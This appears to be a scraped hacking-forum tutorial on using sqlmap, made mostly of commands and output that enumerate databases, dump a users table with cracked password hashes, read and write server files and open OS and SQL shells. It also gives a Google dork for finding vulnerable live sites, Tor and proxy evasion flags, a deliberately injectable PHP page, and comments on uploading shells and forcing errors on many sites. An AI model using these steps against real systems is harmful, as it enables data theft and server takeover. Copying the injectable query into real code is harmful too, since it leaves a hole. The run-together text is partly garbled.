| Rank on sectools.org: | 30 |
| Work on: | Windows, Mac and Linux |
| Programmed in: | Python |
| Price: | free |
| Homepage: | http://sqlmap.org/ |
| Github: | https://github.com/sqlmapproject/sqlmap |
| Wiki: | https://github.com/sqlmapproject/sqlmap/wiki |
./sqlmap.py -u "http://127.0.0.1/vurln.php?user=relax" –dbs –dbms=mysql --threads=1
If you want to send more requests at the same time this is faster but it needs a good connection.
--technique=BEUSTQ
If you don't want to test all techniques because of noise or other reason.
If nothing is found you can try to increase:
--level=(1-5)
--risk=(0-3)available databases [4]:
information_schema
mysql
performance_schema
vurln
./sqlmap.py -u "http://127.0.0.1/vurln.php?user=relax" -D vurln –tablesOutput:Database: vurln
[1 table]
+-------+
| users |
+-------+
./sqlmap.py -u "http://127.0.0.1/vurln.php?user=relax" -D vurln -T users –colOutput:
Database: vurln
Table: users
[3 columns]
+----------+-------------+
| Column Type |
+----------+-------------+
| ID | tinyint(4) |
| password | varchar(32) |
| username | varchar(20) |
+----------+-------------+
./sqlmap.py -u "http://127.0.0.1/vurln.php?user=relax" -D vurln -T users –dumpThis will tell us it found possible hashes and will ask if we want to crack them with dictionary attack andDatabase: vurln
Table: users
[126 entries]
+-----+-----------+--------------------------------------------------+
| ID | username | password |
+-----+-----------+--------------------------------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) |
| 2 | relax | 098f6bcd4621d373cade4e832627b4f6 (test) |
| 3 | Tadou | 253614bbac999b38b5b60cae531c4969 (2012) |
| 4 | Gevoo | 98b1e16f65a1500023372d2b362c0991 |
| 5 | Beguu | cff34ad343b069ea6920464ad17d4bcf |
[...]
./sqlmap.py -u "http://127.0.0.1/vurln.php" –data="user=" --dbs./sqlmap.py -u "http://127.0.0.1/vurln.php" --data="user=" --search -C password./sqlmap.py -u "http://127.0.0.1/vurln.php" –data="user=" \ --file-read="/var/www/vurln.php"./sqlmap.py -u "http://127.0.0.1/vurln.php" –data="user=" \ --file-write "i_was_never_here.txt" --file-dest "/var/www"./sqlmap.py -u "http://127.0.0.1/vurln.php" –data="user=" –os-shellSql Shell: ./sqlmap.py -u "http://127.0.0.1/vurln.php" --data="user=" --sql-shellcheck my old tutorial about uploading sql shell (https://evilzone.org/tutorials/upload-shell-with-sql-injection/) for more information about how to use it./sqlmap.py -u "http://127.0.0.1/vurln.php?user=relax" --exclude-sysdbs –dump-allwill give you everything except system databases in this case “information_schema” and “mysql” database./sqlmap.py -g “inurl:index.php?id=”Google dork - this will find vulnerable site from Google for you, but as stated above this is illegal if you do--proxy=PROXY
--tor=ADDRESS
--tor-port=PORT
--check-waf
--crawl=DEPTH<?php
if (isset($_POST['user'])) {
$con = mysql_connect("localhost", "root", "password") or die(mysql_error());
mysql_select_db("vurln",$con) or die(mysql_error());
$results = mysql_query("SELECT * FROM users WHERE username='".$_POST['user']."'") or die(mysql_error());
if (mysql_num_rows($results) === 0) echo "Theres no user with that ID"; else {
while($row = mysql_fetch_array($results)){
echo "The user $row[username] has the ID $row[ID] <hr>";
}
}
}
?>would be nice to see what you do to find web root for uploading shells if there is no path disclosure with sql error output. I usually try looking in http server config files but they can be a bitch to find.Try to get another error :). A nice tactic is to supply a array instead of one value in the GET parameters. For example: google.com/?q=lol to get an error on loads of sites: google.com/?q[]=lol